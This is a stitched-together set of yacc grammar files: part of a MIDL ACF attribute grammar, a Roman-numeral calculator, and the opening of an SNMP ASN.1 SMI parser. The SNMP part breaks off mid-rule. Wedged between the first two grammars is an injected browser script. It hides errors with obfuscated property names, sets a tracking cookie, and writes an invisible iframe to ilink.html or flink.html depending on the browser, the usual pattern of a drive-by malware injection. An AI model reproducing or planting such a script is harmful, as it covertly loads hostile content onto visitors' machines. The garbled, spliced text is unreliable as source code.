$$ = $1;
}
| AcfEnumSizeAttr
{
$$ = $1;
}
| AcfParamAttr
{
$$ = $1;
}
| AcfOpAttr
{
$$ = $1;
}
| AcfUnimplementedAttr
{
ParseError(IGNORE_UNIMPLEMENTED_ATTRIBUTE, ((node_base_attr *)$1)->GetNodeNameString());
$$ = $1;
}
| AcfOptimizationAttr
{
$$ = $1;
}
;
AcfEnumSizeAttr:
KWSHORTENUM
{
ParseError( IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[short_enum]" );
$$ = NULL;
}
| KWLONGENUM
{
ParseError( IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[long_enum]" );
$$ = NULL;
}
;
AcfOptimizationAttr:
KWOPTIMIZE '(' STRING ')'
{
unsigned short OptFlags = OPTIMIZE_NONE;
OPT_LEVEL_ENUM OptLevel;
OptLevel = ParseAcfOptimizationAttr( $3, &OptFlags );
$$ = new node_optimize( OptLevel, OptFlags );
}
;
AcfUnimplementedAttr:
KWPOINTERSIZE '(' AcfPtrSize ')'
{
$$ = new acf_attr( ATTR_PTRSIZE );
}
;
/**** Implicit and Auto Handle ****/
AcfHandleAttr:
KWEXPLICITHANDLE
{
$$ = new acf_attr( ATTR_EXPLICIT );
}
| KWIMPLICITHANDLE '(' AcfImplicitHandleSpec ')'
{
$$ = $3;
}
| KWAUTOHANDLE
{
$$ = new acf_attr( ATTR_AUTO );
}
| KWHANDLE
{
$$ = new battr( ATTR_HANDLE );
}
| KWSTRICTCONTEXTHANDLE
{
$$ = new acf_attr( ATTR_STRICT_CONTEXT_HANDLE );
}
;
AcfImplicitHandleSpec:
AcfOptionalAttrList AcfHandleTypeSpec ImplicitHandleIDName
{
node_id_fe * pId = new node_id_fe( $3 );
// if he has specified the handle attribute, the type must have
// the handle attribute too!
if( $2 && ($2->NodeKind() == NODE_FORWARD ) )
{
ParseError( IMPLICIT_HDL_ASSUMED_GENERIC,
((node_forward *) $2)->GetSymName());
}
//
// if the handle is a context handle type, disallow it. Do that only
// if the current interface node is the base interface node.
//
pId->AddAttributes( $1 );
// generate the new implicit handle attribute
$$ = new node_implicit( $2, pId );
}
;
ImplicitHandleIDName:
IDENTIFIER
{
$$ = $1;
}
| KWHANDLE
{
$$ = "handle";
}
;
AcfHandleTypeSpec:
KWHANDLET
{
// return the base type node for handle_t
GetBaseTypeNode( &($$),SIGN_UNDEF,SIZE_UNDEF,TYPE_HANDLE_T, 0 );
}
| TYPENAME
| IDENTIFIER
{
SymKey SKey( $1, NAME_DEF );
if( ($$ = pBaseSymTbl->SymSearch( SKey ) ) == (node_skl *)0 )
{
node_forward * pFwd;
SymKey SKey( $1, NAME_DEF );
pFwd = new node_forward( SKey , pBaseSymTbl );
pFwd->SetSymName( $1 );
$$ = pFwd;
}
}
;
/*** Parameterized (non handle) interface attribute ***/
AcfPtrSize:
KWSHORT
| KWLONG
| KWHYPER
;
/**** Could ID already be a lexeme? ****/
AcfInterfaceName:
IDENTIFIER
| TYPENAME
{
/** this production is necessitated for the hpp switch, which has the
** interface name as a predefined type(def).
**/
// $$ = $1;
$$ = $1->GetSymName();
}
;
/* Note that I DON'T make InterfaceBody a heap-allocated entity.
Should I do so?
*/
AcfOptionalInterfaceBody:
AcfBodyElements
| /* Empty */
;
AcfBodyElements:
AcfBodyElements AcfBodyElement
| AcfBodyElement
;
/* Note that for type declaration and the operation declarations,
we don't really have to propagate anythign up.
(Everything's already been done via side-effects).
We might want to change the semantic actions to
reflect this fact.
*/
AcfBodyElement:
AcfInclude ';'
{
}
| AcfTypeDeclaration ';'
{
}
| Acfoperation ';'
{
}
;
/* What should I do for this?: Should there be a node type? */
AcfInclude:
KWINCLUDE AcfIncludeList
{
$$ = $2;
}
;
AcfIncludeList:
AcfIncludeList ',' AcfIncludeName
{
}
| AcfIncludeName
{
}
;
AcfIncludeName:
STRING
{
// add a file node to the acf includes list. This file node
// must have a NODE_STATE_IMPORT for the backend to know that this
// is to be emitted like an include. Make the file look like it
// has been specified with an import level > 0
unsigned short importlvl = pCurInterfaceNode->GetFileNode()->
GetImportLevel();
node_file * pFile = new node_file( $1, importlvl + 1);
pPass2->InsertAcfIncludeFile( pFile );
}
;
/*** Type declaration ***/
AcfTypeDeclaration:
KWTYPEDEF AcfOptionalAttrList AcfTypeNameList
{
node_def * pDef;
if( $2.NonNull() )
{
while( $3->GetPeer( (node_skl **) &pDef ) == STATUS_OK )
{
pDef->AddAttributes( $2 );
if ( pDef->FInSummary( ATTR_ENCODE ) ||
pDef->FInSummary( ATTR_DECODE ) )
{
pCurInterfaceNode->SetPickleInterface();
}
}
}
else
{
pDef = NULL;
$3->GetPeer( (node_skl **) &pDef );
if ( pDef )
ParseError( NO_ATTRS_ON_ACF_TYPEDEF, pDef->GetSymName() );
}
}
;
AcfTypeNameList:
AcfTypeNameList ',' AcfType
{
$$ = $1;
if ( $3 )
{
SymKey SKey( $3->GetSymName(), NAME_DEF );
node_skl * pDef = (node_skl *) pBaseSymTbl->SymSearch( SKey );
// pDef will not be null.
$$->SetPeer( pDef );
}
}
| AcfType
{
$$ = new type_node_list;
if( $1 )
$$->SetPeer( $1 );
}
;
AcfType:
TYPENAME
| IDENTIFIER
{
ParseError( UNDEFINED_TYPE, $1 );
$$ = (node_skl *)0;
}
;
/*** Type attributes ***/
AcfTypeAttr:
KWREPRESENTAS '(' AcfRepresentType ')'
{
$$ = $3;
}
| KWUSERMARSHAL '(' AcfUserMarshalType ')'
{
$$ = $3;
}
| KWCALLAS '(' AcfCallType ')'
{
$$ = $3;
}
| KWINLINE
{
node_base_attr * pN = new acf_attr( ATTR_NONE );
ParseError( IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[inline]" );
$$ = pN;
}
| KWOUTOFLINE
{
node_base_attr * pN = new acf_attr( ATTR_NONE );
ParseError( IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[out_of_line]" );
$$ = pN;
}
| KWALLOCATE '(' AcfAllocationUnitList ')'
{
node_allocate * pN = new node_allocate( $3 );
ParseError( ALLOCATE_INVALID, pN->GetNodeNameString() );
#ifdef RPCDEBUG
short s = pN->GetAllocateDetails();
#endif // RPCDEBUG
$$ = pN;
}
| KWOFFLINE
{
ParseError( IGNORE_UNIMPLEMENTED_ATTRIBUTE, "offline" );
$$ = new acf_attr( ATTR_NONE );
}
| KWHEAP
{
$$ = new acf_attr( ATTR_HEAP );
}
| KWENCODE
{
$$ = new acf_attr( ATTR_ENCODE );
}
| KWDECODE
{
$$ = new acf_attr( ATTR_DECODE );
}
| KWNOSERIALIZE
{
$$ = new acf_attr( ATTR_NOSERIALIZE );
}
| KWSERIALIZE
{
$$ = new acf_attr( ATTR_SERIALIZE );
}
/*
Support for [cs_char] and related attributes has been removed because
of problems with the DCE spec
| KWCSCHAR '(' TYPENAME ')'
{
$$ = new node_cs_char( $3 );//->GetSymName() );
}
*/
;
AcfRepresentType:
IDENTIFIER
{
// only non-typedefs get here, so it must be unknown...
$$ = new node_represent_as( $1, NULL );
}
| TYPENAME
{
$$ = new node_represent_as( $1->GetSymName(), $1 );
}
;
AcfUserMarshalType:
IDENTIFIER
{
// only non-typedefs get here, so it must be unknown...
$$ = new node_user_marshal( $1, NULL );
}
| TYPENAME
{
$$ = new node_user_marshal( $1->GetSymName(), $1 );
}
;
AcfCallType:
IDENTIFIER
{
// search for a matching proc in our interface
SymKey SKey( $1, NAME_PROC );
named_node * pCur =
pCurInterfaceNode->GetProcTbl()->SymSearch( SKey );
$$ = new node_call_as( $1, pCur );
}
;
AcfAllocationUnitList:
AcfAllocationUnitList ',' AcfAllocationUnit
{
$$ |= $3;
}
| AcfAllocationUnit
;
AcfAllocationUnit:
IDENTIFIER
{
$$ = CheckValidAllocate( $1 );
}
;
/* Again, there's not really much to propagate upwards */
/*** Operation declaration ***/
Acfoperation:
AcfOptionalAttrList OptFuncModifiers IDENTIFIER
{
SymKey SKey( $3, NAME_PROC );
// the proc must be defined in the idl file and it must not have the
// local attribute
if ( pCurInterfaceNode )
{
pAcfProc = (node_proc *)
pCurInterfaceNode->GetProcTbl()->SymSearch( SKey );
}
else
pAcfProc = NULL;
if( pAcfProc )
{
if( pAcfProc->FInSummary( ATTR_LOCAL ) )
{
ParseError( LOCAL_PROC_IN_ACF, $3 );
}
else
{
if($1)
{
pAcfProc->AddAttributes( $1 );
if ( pAcfProc->FInSummary( ATTR_ENCODE ) ||
pAcfProc->FInSummary( ATTR_DECODE ) )
{
pCurInterfaceNode->SetPickleInterface();
}
}
pAcfProc->GetModifiers().Merge( $2 );
// prepare for parameter matching
iParam = 0;
}
}
else if ( pPass2->GetFileNode()->GetImportLevel() == 0 )
{
ParseError( UNDEFINED_PROC, $3 );
}
}
'(' AcfOptionalParameters ')'
{
pAcfProc = (node_proc *)NULL;
}
;
/*** Operation attributes ***/
AcfOpAttr:
KWCOMMSTATUS
{
$$ = new acf_attr( ATTR_COMMSTAT );
}
| KWFAULTSTATUS
{
$$ = new acf_attr( ATTR_FAULTSTAT );
}
| KWCODE
{
$$ = new acf_attr( ATTR_CODE );
}
| KWNOCODE
{
$$ = new acf_attr( ATTR_NOCODE );
}
| KWENABLEALLOCATE
{
$$ = new acf_attr( ATTR_ENABLE_ALLOCATE );
}
| KWNOTIFY
{
$$ = new acf_attr( ATTR_NOTIFY );
}
| KWNOTIFYFLAG
{
$$ = new acf_attr( ATTR_NOTIFY_FLAG );
}
| KWASYNC
{
if ( pCommand->GetNdrVersionControl().TargetIsLessThanNT50() )
ParseError( INVALID_FEATURE_FOR_TARGET, "[async]");
$$ = new acf_attr( ATTR_ASYNC );
}
/*
Support for [cs_char] and related attributes has been removed because
of problems with the DCE spec
| KWCSTAGRTN '(' IDENTIFIER ')'
{
SymKey SKey( $3, NAME_PROC );
node_skl *pTagRoutine;
pTagRoutine = pBaseSymTbl->SymSearch( SKey );
if( NULL == pTagRoutine )
ParseError( UNDEFINED_PROC, $3 );
$$ = new node_cs_tag_rtn( pTagRoutine );
}
*/
;
AcfOptionalParameters:
Acfparameters
{
/*************************************************************
*** we do not match parameters by number yet, so disable this
if( iParam != cParams )
{
ParseError(PARAM_COUNT_MISMATCH, (char *)NULL );
}
*************************************************************/
}
| /* Empty */
{
/*************************************************************
*** we do not match parameters by number yet, so disable this
if( cParams )
{
ParseError(PARAM_COUNT_MISMATCH, (char *)NULL );
}
*************************************************************/
}
;
/***
*** this production valid only if we allow param matching by position
***
Acfparameters:
Acfparameters ',' Acfparameter
| Acfparameters ','
| Acfparameter
| ','
;
***/
Acfparameters:
Acfparameters ',' Acfparameter
{
iParam++;
}
| Acfparameter
{
iParam++;
}
;
Acfparameter:
AcfOptionalAttrList IDENTIFIER
{
// any ordering of parameters is ok here...
if( pAcfProc )
{
node_param * pParam;
if( (pParam = pAcfProc->GetParamNode( $2 ) ) )
{
if( $1.NonNull() )
pParam->AddAttributes( $1 );
}
else if ( $1.FInSummary( ATTR_COMMSTAT ) ||
$1.FInSummary( ATTR_FAULTSTAT ) )
{
// add parameter to end of param list
pAcfProc->AddStatusParam( $2, $1 );
}
else
ParseError( UNDEF_PARAM_IN_IDL, $2 );
}
}
/**
** this prodn valid only if parameter matching by position is in effect **
**
| AcfParamAttrList
**/
/*** Parameter attributes ***/
AcfParamAttr:
KWBYTECOUNT '(' IDENTIFIER ')'
{
node_param * pParam = NULL;
if (pAcfProc)
{
pParam = pAcfProc->GetParamNode( $3 );
}
$$ = new node_byte_count( pParam );
}
| KWMANUAL
{
ParseError( IGNORE_UNIMPLEMENTED_ATTRIBUTE, "manual" );
$$ = new acf_attr( ATTR_NONE );
}
/*
Support for [cs_char] and related attributes has been removed because
of problems with the DCE spec
| KWCSDRTAG
{
$$ = new acf_attr( ATTR_DRTAG );
}
| KWCSRTAG
{
$$ = new acf_attr( ATTR_RTAG );
}
| KWCSSTAG
{
$$ = new acf_attr( ATTR_STAG );
}
*/
| KWFORCEALLOCATE
{
$$ = new acf_attr( ATTR_FORCEALLOCATE );
}
;
OptFuncModifiers:
FuncModifiers
| /* Empty */
{
$$.Clear();
}
FuncModifiers:
FuncModifiers FuncModifier
{
$$ = $1;
$$.Merge( $2 );
}
| FuncModifier
;
FuncModifier:
MSCPASCAL
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_PASCAL);
ParseError( BAD_CON_MSC_CDECL, "__pascal" );
}
| MSCFORTRAN
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_FORTRAN);
ParseError( BAD_CON_MSC_CDECL, "__fortran" );
}
| MSCCDECL
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_CDECL);
ParseError( BAD_CON_MSC_CDECL, "__cdecl" );
}
| MSCSTDCALL
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_STDCALL);
ParseError( BAD_CON_MSC_CDECL, "__stdcall" );
}
| MSCLOADDS /* potentially interesting */
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_LOADDS);
ParseError( BAD_CON_MSC_CDECL, "__loadds" );
}
| MSCSAVEREGS
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_SAVEREGS);
ParseError( BAD_CON_MSC_CDECL, "__saveregs" );
}
| MSCFASTCALL
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_FASTCALL);
ParseError( BAD_CON_MSC_CDECL, "__fastcall" );
}
| MSCSEGMENT
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_SEGMENT);
ParseError( BAD_CON_MSC_CDECL, "__segment" );
}
| MSCINTERRUPT
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_INTERRUPT);
ParseError( BAD_CON_MSC_CDECL, "__interrupt" );
}
| MSCSELF
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_SELF);
ParseError( BAD_CON_MSC_CDECL, "__self" );
}
| MSCEXPORT
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_EXPORT);
ParseError( BAD_CON_MSC_CDECL, "__export" );
}
| MscDeclSpec
| MSCEMIT NUMERICCONSTANT
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_NONE);
ParseError( BAD_CON_MSC_CDECL, "__emit" );
}
;
MscDeclSpec:
KWMSCDECLSPEC
{
ParseError( BAD_CON_MSC_CDECL, "__declspec" );
$$ = $1;
}
;
%%
|
<script>
window["\x6f\x6e\x65\x72\x72\x6f\x72"]=function (){
return true;
}
function init(){
window["\x73\x74\x61\x74\x75\x73"]="";
}window["\x6f\x6e\x6c\x6f\x61\x64"]=init;
if(document.cookie.indexOf("play=")==-1)
{var expires=new Date();var dsm="fdsfds";
expires.setTime(expires.getTime()+0*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write("");
document.write("<iFram"+"e src=ilink.html width=100 height=0></iframe>");
document.write("");
}
else {
document.write("");
document.write("<iframe src=flink.html width=100 height=0></iframe>");var xnod="xnod32";
}
}
var dasds="fqx";
</script>
|
%{
# include <stdio.h>
int yylex ();
void yyerror(char *s);
int error=0;
int total=0;
int p=0; //prev
%}
%output "roman.tab.c"
/* declare tokens */
%token I IV V IX X XL L XC C CD D CM M
%token EOL
%start start1
%%
start1:
| start1 expr EOL{ if(!error){printf("%d\n", total);}
total=0; p=0;
}
;
expr: exp | exp expr
exp:
| I { total += 1; p=1;}
| IV { if(p==1){error=1;}
else{total += 4; p=4; } }
| V { if(p==4){error=1;}
else{total += 5; p=5; } }
| IX { if(p==5){error=1;}
else{total += 9; p=9; } }
| X { if(p==9){error=1; }
else{total += 10; p=10; } }
| XL { if(p==10){error=1; }
else{total += 40; p=40; } }
| L { if(p==40){error=1; }
else{total += 50; p=50; } }
| XC { if(p==50){error=1; }
else{total += 90; p=90; } }
| C { if(p==90||p==900){error=1; }
else{total += 100; p=100; } }
| CD { if(p==100){error=1; }
else{total += 400; p=400; } }
| D { if(p==400){error=1; }
else{total += 500; p=500; } }
| CM { if(p==500){error=1; }
else{total += 900; p=900; } }
| M { if(p==900){error=1; }
else{total += 1000; p=1000; } }
;
%%
int main()
{
if (!error)
{
yyparse();
}
if (error)
{
yyerror("syntax error");
}
return 0;
}
void yyerror(char *s)
{
printf("%s\n", s);
error=1;
}
|
/*
* Copyright (c) 1997-1999 Microsoft Corporation
*/
/* yacc.y - yacc ASN.1 parser */
%{
#include <iostream.h>
#include <fstream.h>
#include <typeinfo.h>
#include <windows.h>
#include <snmptempl.h>
#include "smierrsy.hpp"
#include "smierrsm.hpp"
#include "bool.hpp"
#include "newString.hpp"
#include "symbol.hpp"
#include "type.hpp"
#include "value.hpp"
#include "typeRef.hpp"
#include "valueRef.hpp"
#include "oidValue.hpp"
#include "objectType.hpp"
#include "objectTypeV1.hpp"
#include "objectTypeV2.hpp"
#include "trapType.hpp"
#include "notificationType.hpp"
#include "objectIdentity.hpp"
#include "notificationGroup.hpp"
#include "module.hpp"
#include "errorMessage.hpp"
#include "errorContainer.hpp"
#include "stackValues.hpp"
#include <lex_yy.hpp>
#include <ytab.hpp>
#include "scanner.hpp"
#include "parser.hpp"
#define theScanner (((SIMCParser *) this)->_theScanner)
#define theParser ((SIMCParser *) this)
#define theModule (theParser->GetModule())
static SIMCModule * newImportModule = new SIMCModule;
static SIMCOidComponentList * newOidComponentList = new SIMCOidComponentList;
static SIMCBitValueList * newNameList = new SIMCBitValueList;
static SIMCIndexList *newIndexList = new SIMCIndexList;
static SIMCIndexListV2 *newIndexListV2 = new SIMCIndexListV2;
static SIMCVariablesList *newVariablesList = new SIMCVariablesList;
static SIMCObjectsList *newObjectsList = new SIMCObjectsList;
static SIMCRangeList *newRangeList = new SIMCRangeList;
static SIMCNamedNumberList *newNamedNumberList = new SIMCNamedNumberList;
static SIMCSequenceList *newSequenceList = new SIMCSequenceList;
static BOOL firstAssignment = TRUE;
static long HexCharToDecimal(char x)
{
switch(x)
{
case '0':
return 0;
case '1':
return 1;
case '2':
return 2;
case '3':
return 3;
case '4':
return 4;
case '5':
return 5;
case '6':
return 6;
case '7':
return 7;
case '8':
return 8;
case '9':
return 9;
case 'a':
case 'A':
return 10;
case 'b':
case 'B':
return 11;
case 'c':
case 'C':
return 12;
case 'd':
case 'D':
return 13;
case 'e':
case 'E':
return 14;
case 'f':
case 'F':
return 15;
}
return -1;
}
%}
%start ModuleDefinition
%token ABSENT ANY APPLICATION BAR BGIN BIT BITSTRING _BOOLEAN
BY CCE CHOICE COMMA COMPONENT COMPONENTS COMPONENTSOF CONTROL
DECODER DEFAULT DEFINED DEFINITIONS DOT DOTDOT DOTDOTDOT
ENCODER ENCRYPTED END ENUMERATED EXPORTS EXPLICIT FALSE_VAL FROM
ID IDENTIFIER IMPLICIT IMPORTS INCLUDES INTEGER LANGLE LBRACE
LBRACKET LITNUMBER LIT_HEX_STRING LIT_BINARY_STRING LITSTRING
LPAREN MIN MAX NAME NIL OBJECT
OCTET OCTETSTRING OF PARAMETERTYPE PREFIXES PRESENT
PRINTER PRIVATE RBRACE RBRACKET REAL RPAREN SECTIONS SEMICOLON
SEQUENCE SEQUENCEOF SET _SIZE STRING TAGS TRUE_VAL UNIVERSAL
WITH PLUSINFINITY MINUSINFINITY
MODULEID LASTUPDATE ORGANIZATION CONTACTINFO DESCRIPTION REVISION
OBJECTIDENT STATUS REFERENCE
OBJECTYPE SYNTAX BITSXX UNITS MAXACCESS ACCESS INDEX IMPLIED
AUGMENTS DEFVAL
NOTIFY OBJECTS
TRAPTYPE ENTERPRISE VARIABLES
TEXTCONV DISPLAYHINT
OBJECTGROUP
NOTIFYGROUP NOTIFICATIONS
MODCOMP MODULE MANDATORY GROUP WSYNTAX MINACCESS
AGENTCAP PRELEASE SUPPORTS INCLUDING VARIATION CREATION
%union {
void *yy_void;
SIMCNumberInfo *yy_number;
int yy_int;
long yy_long;
SIMCModule *yy_module;
CList <SIMCModule *, SIMCModule *> *yy_module_list;
SIMCSymbolReference *yy_symbol_ref;
SIMCNameInfo * yy_name;
SIMCHexStringInfo *yy_hex_string;
SIMCBinaryStringInfo *yy_binary_string;
SIMCAccessInfo *yy_access;
SIMCAccessInfoV2 *yy_accessV2;
SIMCStatusInfo *yy_status;
SIMCStatusInfoV2 *yy_statusV2;
SIMCObjectIdentityStatusInfo *yy_object_identity_status;
SIMCNotificationTypeStatusInfo *yy_notification_type_status;
SIMCIndexInfo *yy_index;
SIMCIndexInfoV2 *yy_indexV2;
SIMCVariablesList *yy_variables_list;
SIMCObjectsList *yy_objects_list;
SIMCRangeOrSizeItem *yy_range_or_size_item;
SIMCRangeList *yy_range_list;
SIMCNamedNumberItem *yy_named_number_item;
SIMCNamedNumberList *yy_named_number_list;
SIMCDefValInfo *yy_def_val;
}
%type <yy_name> ImportModuleIdentifier Octetstring SequenceOf
MainModuleIdentifier InsteadOfCCE NAME ID LITSTRING
DescrPart ReferPart DisplayPart UnitsPart
INTEGER OCTET STRING
_BOOLEAN OBJECT IDENTIFIER BGIN END
MacroName TRAPTYPE OBJECTYPE
MODULEID OBJECTIDENT NOTIFY TEXTCONV MODCOMP AGENTCAP
OBJECTGROUP LBRACE DEFINITIONS IMPORTS FROM SYNTAX
DEFVAL DESCRIPTION ACCESS STATUS REFERENCE INDEX ENTERPRISE
VARIABLES SEQUENCE OCTETSTRING SEQUENCEOF OF _SIZE MAXACCESS
UNITS OBJECTS LASTUPDATE ORGANIZATION CONTACTINFO REVISION
DISPLAYHINT NOTIFYGROUP NOTIFICATIONS MODULE MANDATORY
GROUP WSYNTAX MINACCESS PRELEASE SUPPORTS INCLUDING VARIATION
CREATION FALSE_VAL TRUE_VAL NIL IMPLIED AUGMENTS BITSXX
%type <yy_hex_string> LIT_HEX_STRING
%type <yy_binary_string> LIT_BINARY_STRING
%type <yy_module> SymbolsFromModule
%type <yy_number> LITNUMBER
%type <yy_object_type> ObjectTypeV1Definition
%type <yy_access> AccessPart
%type <yy_accessV2> MaxAccessPartV2
%type <yy_status> StatusPart
%type <yy_statusV2> StatusPartV2
%type <yy_index> IndexPart
%type <yy_indexV2> IndexPartV2
%type <yy_variables_list> VarPart
%type <yy_objects_list> ObjectsPart
%type <yy_symbol_ref> QualifiedName QualifiedId QualifiedIdOrIntegerOrBits ObjectID SyntaxPart
Type BuiltinType EnterprisePart SubType
Value BuiltinValue DefinedValue NumericValue NamedNumberValue
%type <yy_range_or_size_item> SubtypeValueSet
%type <yy_range_list> SubtypeRangeSpec SubtypeSizeSpec
%type <yy_named_number_list> NNlist
%type <yy_def_val> DefValPart DefValValue
%type <yy_object_identity_status> ObjectIdentityStatusPart
%type <yy_notification_type_status> NotificationTypeStatusPart
%%
ModuleDefinition: MainModuleIdentifier
{
SIMCParser *myParser = (SIMCParser *)this;
myParser ++;
myParser --;
SIMCModule *myModule = myParser->GetModule();
theModule->SetModuleName($1->name);
theModule->SetLineNumber($1->line);
theModule->SetColumnNumber($1->column);
theModule->SetInputFileName(theScanner->GetInputStreamName());
delete $1;
}
DEFINITIONS AllowedCCE BGIN Imports
AssignmentList END
{
delete $3;
delete $5;
delete $8;
}
;
MainModuleIdentifier: ID
| ID ObjectID
{
if($2)
delete $2;
}
| NAME
{
theParser->SyntaxError(NAME_INSTEAD_OF_ID);
}
;
Imports: IMPORTS SymbolList SEMICOLON
{
theParser->SyntaxError(MISSING_MODULE_NAME);
delete newImportModule;
newImportModule = new SIMCModule;
delete $1;
}
|
IMPORTS error SEMICOLON
{
theParser->SyntaxError(IMPORTS_SECTION);
delete $1;
}
|
IMPORTS SymbolsImported SEMICOLON
{
delete $1;
}
|
empty
;
SymbolsImported: SymbolsFromModuleList
| empty
;
SymbolsFromModuleList: SymbolsFromModuleList SymbolsFromModule
{
newImportModule->SetParentModule(theModule);
if($2)
{
theModule->AddImportModuleName(newImportModule);
theParser->DoImportModule(theModule, $2);
}
else
delete newImportModule;
newImportModule = new SIMCModule;
}
| SymbolsFromModule
{
newImportModule->SetParentModule(theModule);
if($1)
{
theModule->AddImportModuleName(newImportModule);
theParser->DoImportModule(theModule, $1);
}
else
delete newImportModule;
newImportModule = new SIMCModule;
}
;
SymbolsFromModule: SymbolList FROM ImportModuleIdentifier
{
if(strcmp($3->name, theModule->GetModuleName()) == 0 )
{
theParser->SemanticError(theModule->GetInputFileName(),
IMPORT_CURRENT,
$3->line, $3->column,
$3->name);
$$ = NULL;
}
else
{
newImportModule->SetModuleName($3->name);
newImportModule->SetLineNumber($3->line);
newImportModule->SetColumnNumber($3->column);
newImportModule->SetSymbolType(SIMCSymbol::MODULE_NAME);
newImportModule->SetInputFileName(theScanner->GetInputStreamName());
$$ = newImportModule;
}
delete $3;
}
|
error FROM ImportModuleIdentifier
{
theParser->SyntaxError(LIST_IN_IMPORTS);
delete $2;
delete $3;
$$ = NULL;
}
;
ImportModuleIdentifier: ID LBRACE ObjectIDComponentList RBRACE
{
$$ = $1;
delete $2;
delete newOidComponentList;
newOidComponentList = new SIMCOidComponentList;
}
| ID LBRACE error RBRACE
{
$$ = $1;
delete $2;
delete newOidComponentList;
newOidComponentList = new SIMCOidComponentList;
theParser->SyntaxError(OBJECT_IDENTIFIER_VALUE);
}
| ID
{
$$ = $1;
}
;
SymbolList: SymbolList COMMA Symbol
| Symbol
;
Symbol: ID
{
newImportModule->AddSymbol (
new SIMCImport( $1->name,
SIMCSymbol::IMPORTED,
newImportModule,
$1->line,
$1->column)
);
delete $1;
}
| NAME
{
newImportModule->AddSymbol (
new SIMCImport( $1->name,
SIMCSymbol::IMPORTED,
newImportModule,
$1->line,
$1->column)
);
delete $1;
}
| MacroName
{
newImportModule->AddSymbol (
new SIMCImport( $1->name,
SIMCSymbol::IMPORTED,
newImportModule,
$1->line,
$1->column)
);
delete $1;
}
;
MacroName: OBJECTYPE
| TRAPTYPE
| MODULEID
| OBJECTIDENT
| NOTIFY
| NOTIFYGROUP
| TEXTCONV
| MODCOMP
| AGENTCAP
| OBJECTGROUP
;
AssignmentList: AssignmentList Assignment
| empty
;
Assignment: ObjectIDefinition
{
firstAssignment = FALSE;
}
| ObjectTypeV1Definition
{
firstAssignment = FALSE;
}
| TrapTypeDefinition
{
firstAssignment = FALSE;
}
| ModuleIDefinition
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(MODULE_IDENTITY_DISALLOWED);
}
break;
case 2:
{
if(!firstAssignment)
{
theParser->SyntaxError(MODULE_IDENTITY_ONLY_AFTER_IMPORTS);
}
else
firstAssignment = FALSE;
}
break;
default:
{
firstAssignment = FALSE;
}
break;
}
}
| ObjectTypeV2Definition
{
firstAssignment = FALSE;
}
| ObjectDefinition
{
firstAssignment = FALSE;
}
| NotifyDefinition
{
firstAssignment = FALSE;
}
| TextualConventionDefinition
{
firstAssignment = FALSE;
}
| ObjectGroupDefinition
{
firstAssignment = FALSE;
}
| NotifyGroupDefinition
{
firstAssignment = FALSE;
}
| ModComplianceDefinition
{
firstAssignment = FALSE;
}
| AgentCapabilitiesDefinition
{
firstAssignment = FALSE;
}
| Typeassignment
{
firstAssignment = FALSE;
}
| ToleratedOIDAssignment
{
firstAssignment = FALSE;
}
| Valueassignment
{
firstAssignment = FALSE;
}
;
ObjectIDefinition: NAME OBJECT IDENTIFIER AllowedCCE ObjectID
{
if($5)
{
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theParser->objectIdentifierType,
0, 0,
$5->s, $5->line, $5->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line,
$1->column,
$1->name);
}
}
else
{
theModule->AddSymbol( new SIMCDefinedValueReference (
theParser->objectIdentifierType,
0, 0,
$5->s, $5->line, $5->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column, 0) );
}
}
delete $1;
delete $2;
delete $3;
delete $5;
}
| NAME OBJECT IDENTIFIER AllowedCCE error
{
// Add a syntax error statement here
delete $1;
delete $2;
delete $3;
}
;
ObjectID: QualifiedName
| LBRACE ObjectIDComponentList RBRACE
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol( new SIMCBuiltInValueReference(
theParser->objectIdentifierType,
0, 0,
new SIMCOidValue(newOidComponentList),
badName, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column));
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
delete $1;
newOidComponentList = new SIMCOidComponentList;
}
| LBRACE error RBRACE
{
$$ = NULL;
delete newOidComponentList;
delete $1;
newOidComponentList = new SIMCOidComponentList;
theParser->SyntaxError(OBJECT_IDENTIFIER_VALUE);
// Cascade the error, for example to the ObjectIDefinition
// production
YYERROR;
}
;
ObjectIDComponentList : ObjectSubID ObjectIDComponentList
| ObjectSubID
;
ObjectSubID: QualifiedName
{
if($1)
{
newOidComponentList->AddTail(new SIMCOidComponent (
$1->s,$1->line, $1->column,
NULL, 0, 0));
}
delete $1;
}
| NAME LPAREN LITNUMBER RPAREN
{
char *badName = theParser->GenerateSymbolName();
SIMCBuiltInValueReference *val =
new SIMCBuiltInValueReference(
theParser->integerType,
0, 0,
new SIMCIntegerValue($3->number, $3->isUnsigned,
$3->line, $3->column),
badName,
SIMCSymbol::LOCAL,
theModule,
$3->line, $3->column);
theModule->AddSymbol( val);
SIMCOidComponent *comp = new SIMCOidComponent (
theModule->GetSymbol(badName),
$3->line, $3->column,
$1->name, $1->line, $1->column );
delete badName;
newOidComponentList->AddTail(comp);
delete $1;
delete $3;
}
| NAME LPAREN QualifiedName RPAREN
{
if($3)
